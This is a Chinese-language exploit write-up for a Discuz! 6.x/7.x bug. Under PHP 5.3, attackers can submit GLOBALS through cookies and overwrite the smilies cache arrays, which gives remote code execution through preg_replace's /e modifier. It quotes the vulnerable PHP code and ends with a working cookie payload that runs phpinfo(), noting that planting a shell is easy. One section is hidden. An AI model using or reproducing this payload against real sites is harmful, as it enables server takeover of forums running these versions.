一、漏洞原理:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
include/global.func.php代码里:
01 |
function daddslashes( $string , $force = 0) { |
02 |
!defined( 'MAGIC_QUOTES_GPC' ) && define( 'MAGIC_QUOTES_GPC' , get_magic_quotes_gpc()); |
03 |
if (!MAGIC_QUOTES_GPC || $force ) { |
04 |
if ( is_array ( $string )) { |
05 |
foreach ( $string as $key => $val ) { |
06 |
$string [ $key ] = daddslashes( $val , $force ); |
09 |
$string = addslashes ( $string ); |
include/common.inc.php里:
1 |
foreach ( array ( '_COOKIE' , '_POST' , '_GET' ) as $_request ) { |
2 |
foreach ($ $_request as $_key => $_value ) { |
3 |
$_key {0} != '_' && $ $_key = daddslashes( $_value ); |
模
拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使
用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地
方很少,存在漏洞的地方更加少:(
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
1 |
if (isset( $_REQUEST [ 'GLOBALS' ]) OR isset( $_FILES [ 'GLOBALS' ])) { |
2 |
exit ( 'Request tainting attempted.' ); |
这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列
中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我
们就可以通过COOKIE来提交GLOBALS变量了:)
二、漏洞位置一
[HIDE]
三、漏洞位置二
include/discuzcode.func.php
01 |
function discuzcode( $message , $smileyoff , $bbcodeoff , $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0' , $authorid = '0' , $allowmediacode = '0' , $pid = 0) { |
02 |
global $discuzcodes , $credits , $tid , $discuz_uid , $highlight , $maxsmilies , $db , $tablepre , $hideattach , $allowattachurl ; |
03 |
if ( $parsetype != 1 && ! $bbcodeoff && $allowbbcode && ( strpos ( $message , '[ /code]' ) || strpos ( $message , '[ /CODE]' )) !== FALSE) { |
04 |
$message = preg_replace( "/s?[code](.+?)[/code]s?/ies" , "codedisp('\1')" , $message ); |
06 |
$msglower = strtolower ( $message ); |
09 |
$message = $jammer ? preg_replace( "/
|
|
/e" , "jammer()" , dhtmlspecialchars( $message )) : dhtmlspecialchars( $message ); |
11 |
if (! $smileyoff && $allowsmilies && ! empty ( $GLOBALS [ '_DCACHE' ][ 'smilies' ]) && is_array ( $GLOBALS [ '_DCACHE' ][ 'smilies' ])) { |
12 |
if (! $discuzcodes [ 'smiliesreplaced' ]) { |
13 |
foreach ( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ] AS $key => $smiley ) { |
14 |
$GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ][ $key ] = '<img src="images/smilies/' . $GLOBALS [ '_DCACHE' ][ 'smileytypes' ][ $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'typearray' ][ $key ]][ 'directory' ]. '/' . $smiley . '" smilieid="' . $key . '" border="0" alt="" />' ; |
16 |
$discuzcodes [ 'smiliesreplaced' ] = 1; |
18 |
$message = preg_replace( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'searcharray' ], $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ], $message , $maxsmilies ); |
119行 :
1 |
$message = preg_replace( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'searcharray' ], $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ], $message , $maxsmilies ); |
四、POC
访问一个存在的帖子,需要访问的页面有表情。
例如:http://192.168.0.222/bbs/viewthread.php?tid=12&extra=page%3D1
然后刷新帖子,拦截数据包,cookie中添加
1 |
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); |
如有漏洞,即可看到效果.
写个shell 自然也不是问题了~